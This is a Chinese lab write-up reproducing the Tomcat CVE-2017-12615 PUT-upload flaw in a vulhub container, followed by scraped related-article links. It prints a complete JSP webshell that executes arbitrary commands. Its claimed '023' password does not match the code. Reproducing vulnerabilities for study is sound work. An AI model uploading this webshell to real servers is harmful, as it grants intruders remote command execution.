漏洞描述:

当存在该漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行

影响范围:

Apache Tomcat 7.0.0 - 7.0.79

漏洞分析:

该漏洞的触发条件有两个,第一tomcat需要运行在Windows主机上,第二要启用PUT请求方法,复现该漏洞时,只需在conf/web.xml中添加

<init-param> 

 <param-name>readonly</param-name> 

  <param-value>false</param-value> 

</init-param>
当resdonly的值为true时,是不开启PUT的方法的,当它为false时,则是开启PUT方法

修复方案:
禁用PUT方法即可 实验步骤:
1.docker上开启tomcat服务:

cd vulhub/

cd tomcat/

cd CVE-2017-12615/

docker-compose build

docker-compose up -d



2.Windows上打开tomcat网页,开始上传jsp文件

bp抓包修改包,go:将get方法修改为PUT,加上jsp文件的文件名(红色框),并且将要上传的jsp文件直接粘贴到下面(黄色框)

jsp代码:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

3.查看是否上传成功,并执行代码

成功上传,查看whoami,jsp木马的密码是023

 

漏洞复现——tomcat远程代码执行漏洞的更多相关文章

  1. 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)

    漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...

  2. Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

    Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现  一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...

  3. 【研究】Tomcat远程代码执行漏洞(CVE-2017-12615)

    一.Tomcat远程代码执行漏洞(CVE-2017-12615) 1.1       实验环境 操作机:windows 10                         IP:192.168.1. ...

  4. Tomcat远程代码执行漏洞(CVE-2017-12615)修复

    一.漏洞介绍 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有Tomcat远程代码执行漏洞,当存在漏洞的Tomcat运行在Windwos主机上,且启用了HTTP ...

  5. 漏洞复现-CVE-2015-1427-Groovy远程代码执行

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 Elasticsearch 1.3.0-1.3. ...

  6. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  7. 漏洞复现-CVE-2016-4977-Spring远程代码执行

        0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机) 0x01 影响版本 Spring Secu ...

  8. 泛微e-cology OA系统远程代码执行漏洞及其复现

    泛微e-cology OA系统远程代码执行漏洞及其复现 2019年9月19日,泛微e-cology OA系统自带BeanShell组件被爆出存在远程代码执行漏洞.攻击者通过调用BeanShell组件中 ...

  9. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

随机推荐

  1. cat查看文件以及sed查看指定行数

    https://unix.stackexchange.com/questions/288521/with-the-linux-cat-command-how-do-i-show-only-certai ...

  2. 【2.0新特性】Spring Boot 2.0新特性

    以Java 8 为基准 Spring Boot 2.0 要求Java 版本必须8以上, Java 6 和 7 不再支持. 内嵌容器包结构调整 为了支持reactive使用场景,内嵌的容器包结构被重构了 ...

  3. 使用Scapy向Mininet交换机注入流量 实验记录

    使用Scapy向Mininet交换机注入流量 实验记录 用Python脚本及Scapy库写了一个简单的流量生成脚本,并打算使用该脚本往Mininet中的OpenvSwitch交换机注入流量.拓扑图如下 ...

  4. Lintcode415-Valid Palindrome-Medium

    Given a string, determine if it is a palindrome, considering only alphanumeric(字母和数字) characters and ...

  5. Java里的String类为什么是final的

    今天在看<图解设计模式>,里面出了一个问题“String类用final修饰,导致它无法被继承(扩展),这样做违反了开闭原则,这么做有什么正当理由?” 答案是效率和安全性  首先是效率,由于 ...

  6. pymouse 点击指定坐标点

    from pymouse import PyMouse mouse = PyMouse() mouse.click(,)

  7. 前端阶段_html部分2后台frame的初始构架案例

    1.<frameset cols="25%,75%">          把页面分为1:3,并且使用frame的同时应该删除body标签 2.<frame src ...

  8. es6 export 和export default的区别

    区别 export 每个文件中可使用多次export命令 import时需要知道所加载的变量名或函数名 import时需要使用{},或者整体加载方法 export export default 每个文 ...

  9. 手动增删windows 服务和dll函数

    ①注册windows服务 sc create "服务名AAA" binPath= "安装目录\AAA.exe" displayname= "服务显示名 ...

  10. Codeforces 374C - Inna and Dima

    374C - Inna and Dima 思路:dfs+记忆化搜索 代码: #include<bits/stdc++.h> using namespace std; #define ll ...